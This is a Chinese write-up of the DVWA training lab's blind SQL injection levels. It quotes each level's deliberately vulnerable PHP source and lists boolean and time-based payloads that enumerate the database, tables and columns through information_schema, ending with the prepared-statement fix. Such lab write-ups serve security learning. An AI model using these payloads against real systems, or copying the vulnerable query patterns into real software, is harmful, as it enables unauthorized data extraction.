盲注,顾名思义,无法从界面上直接查看到执行结果,一般的SQL注入基本绝迹,最多的就是盲注

基本步骤:(由于没有回显了,相比一般的SQL注入,也就不需要确定查询字段数、判断回显位置了)

判断注入类型

破库

破表

破字段

获得数据

Low:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// Get input

$id = $_GET[ 'id' ];

// Check database

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

// Get results

$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

if( $num > 0 ) {

// Feedback for end user

echo '<pre>User ID exists in the database.</pre>';

}

else {

// User wasn't found, so the page wasn't!

header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user

echo '<pre>User ID is MISSING from the database.</pre>';

}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

?>

没有过滤,但是返回就两种结果,要么有,要么没有

看代码就是字符型注入,也可以输入

1 不报错

1’ 报错

1’ and 1=1 # 不报错

1’ and 1=2 # 报错

这样判断

1’ and length(database())=1 # 不存在

一直往下,直到

1’ and length(database())=4 # 不报错显示存在

说明数据库名是4个字符

举几个例子

1’ and ascii(substr(database(),1,1))>97 # 从a开始挨个试数据库名第一个字母吧

1’ and ascii(substr(database(),2,1))>97 # 再试第二个字母,用二分法划定区间,以此类推

之后猜库中表数量

1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #

之后猜第一个表名长度(limit 0,1是前一步猜出来有两个表)

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

之后猜第一个表的第一个字符

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

正常来说,可以猜出整个表名

之后猜表中字段数

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #

猜字段名

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #

还有经典的的二分法时间盲注,不再列举

Medium:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {

// Get input

$id = $_POST[ 'id' ];

$id = ((isset($GLOBALS["___mysqli_ston"]) &&
is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database

$getid  = "SELECT first_name,
last_name FROM users WHERE user_id = $id;";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress
mysql errors

// Get results

$num = @mysqli_num_rows( $result ); // The '@' character suppresses
errors

if( $num > 0 ) {

// Feedback for end user

echo '<pre>User ID exists in the database.</pre>';

}

else {

// Feedback for end user

echo '<pre>User ID is MISSING from the database.</pre>';

}

//mysql_close();

}

?>

mysql_real_escape_string对特殊字符转义,前端有下拉表单限制

既然如此,可以抓包修改参数

例如时间盲注例句

1 and if(length(database())=4,sleep(5),1) #

1 and if(length(substr((select table_name
from information_schema.tables where table_schema=database() limit
0,1),1))=9,sleep(5),1) #

1 and if((select count(column_name) from
information_schema.columns where table_name=0x7573657273 )=8,sleep(5),1) #

等等

High:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {

// Get input

$id = $_COOKIE[ 'id' ];

// Check database

$getid  = "SELECT first_name,
last_name FROM users WHERE user_id = '$id' LIMIT 1;";

$result =
mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress
mysql errors

// Get results

$num = @mysqli_num_rows( $result ); // The '@' character suppresses
errors

if( $num > 0 ) {

// Feedback for end user

echo '<pre>User ID exists in the database.</pre>';

}

else {

// Might sleep a random amount

if( rand( 0, 5 ) == 3 ) {

sleep( rand( 2, 4 ) );

}

// User wasn't found, so the page wasn't!

header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user

echo '<pre>User ID is MISSING from the database.</pre>';

}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"])))
? false : $___mysqli_res);

}

?>

嗯。。。采用cookie传递id,还对时间盲注有干扰,limit 1 限制了输出结果

那就采用布尔盲注,举几个例子:

抓包将cookie中参数id改为1’ and length(database())=4 #

1’ and length(substr(( select table_name
from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

1’ and (select count(column_name) from information_schema.columns
where table_name=0x7573657273)=8 #

Impossible:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ],
'index.php' );

// Get input

$id = $_GET[ 'id' ];

// Was a number entered?

if(is_numeric( $id )) {

// Check the database

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE
user_id = (:id) LIMIT 1;' );

$data->bindParam( ':id', $id, PDO::PARAM_INT );

$data->execute();

// Get results

if( $data->rowCount() == 1 ) {

// Feedback for end user

echo '<pre>User ID exists in the database.</pre>';

}

else {

// User wasn't found, so the page wasn't!

header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user

echo '<pre>User ID is MISSING from the database.</pre>';

}

}

}

// Generate Anti-CSRF token

generateSessionToken();

?>

又是PDO防SQL注入

DVWA靶场之SQL injection(blind)通关的更多相关文章

  1. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  2. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  3. DVWA SQL Injection(Blind) 通关教程

    SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是 ...

  4. DVWA靶场之SQL Injection通关

    SQL注入,一个大概的手工流程: 判断是否有注入,什么类型 破解SQL语句中查询的字段数是多少 确定回显位置 破库 破表 破字段 获得内容 Low: <?php if( isset( $_REQ ...

  5. 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible

    1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...

  6. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  7. SQL Injection (Blind) Low

    SQL盲注分析 盲注较普通注入难度会有所增加,根据页面响应不同大概分为以下几种:布尔型盲注:时间盲注:报错注入 普通注入与盲注的对比: 普通注入:                            ...

  8. DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)

    上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击.和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就 ...

  9. DVWA靶场之Command Injection(命令行注入)通关

    Command Injection Low: <?php if( isset( $_POST[ 'Submit' ]  ) ) { // Get input $target = $_REQUES ...

随机推荐

  1. Comparator的compare方法如何定义升序降序

    最近做算法题用了Comparator接口下的compare方法,思考了一下升序和降序的规则是如何来的,现在做一个补充,方便以后回顾.  升序代码 public static void main(Str ...

  2. CF1225E题解 Rock Is Push

    在打CF的时候没想到www这个dp真的蛮巧妙的 这是一道dp题(废话 假设我们走到了\((i,j)\)位置,因为我们只能下移/右移,那么我们所有上方与左方的石块(即\(\{ (i,j)|i<n ...

  3. Spark编程基础_RDD编程

    RDD(Resilient Distributed Dataset)叫做弹性分布式数据集,是Spark中最基本的数据抽象,它代表一个不可变.可分区.里面的元素可并行计算的集合.RDD具有数据流模型的特 ...

  4. [刘阳Java]_CSS图片画廊

    图片画廊也是一种比较经典的案例.本节文章主要简单给大家介绍了CSS2实现图片画廊,采取的实现思路 ul放置图片 li标签里面嵌套a标签 a标签里面嵌套两个图片的标签 通过简单的伪类来实现图片预览效果 ...

  5. [刘阳Java]_美团点评2018届校招面试总结_Java后台开发【转载】

    美团喜欢一口气把三轮技术面和HR面一起面完,虽然身心比较累(每一面差不多一个小时),不过也算是一个好事,不像某些公司一天就一面然后让回去等消息,等面试通知也等得让人很焦虑,而且还容易出现面试时间冲突. ...

  6. 为了让她学画画——熬夜用canvas实现了一个画板

    前言 大家好,我是Fly, canvas真是个强大的东西,每天沉迷这个无法自拔, 可以做游戏,可以对图片处理,后面会给大家分享一篇,canvas实现两张图片找不同的功能, 听着是不是挺有意思的, 有点 ...

  7. P4293 [WC2010]能量场

    P4293 [WC2010]能量场 题意 给你 \(n\) 个粒子,每个粒子有两个权值 \(m_i,c_i\) 每个相邻有序对 \((a,b)\) 会产生 \(m_am_b(c_a-c_b)\) 的贡 ...

  8. 【模拟】玩具谜题 luogu-1563

    题目描述 小南有一套可爱的玩具小人, 它们各有不同的职业. 有一天, 这些玩具小人把小南的眼镜藏了起来. 小南发现玩具小人们围成了一个圈,它们有的面朝圈内,有的面朝圈外.如下图: 这时singer告诉 ...

  9. selenium 配置ie11 浏览器

    1.IEDriverServer下载与配置 用淘宝的镜像地址:https://npm.taobao.org/mirrors/selenium/. 选3.0版本的  IEDriverServer_x64 ...

  10. [考试总结]noip8

    又是一个题的正解都没有打出来的一天 但是自己独创了 \(lca\) 的求法, 然而如果去掉求 \(lca\) 的过程,就不会 \(TLE\) 了. \(\huge{\text{囧}}\) 然后就是对性 ...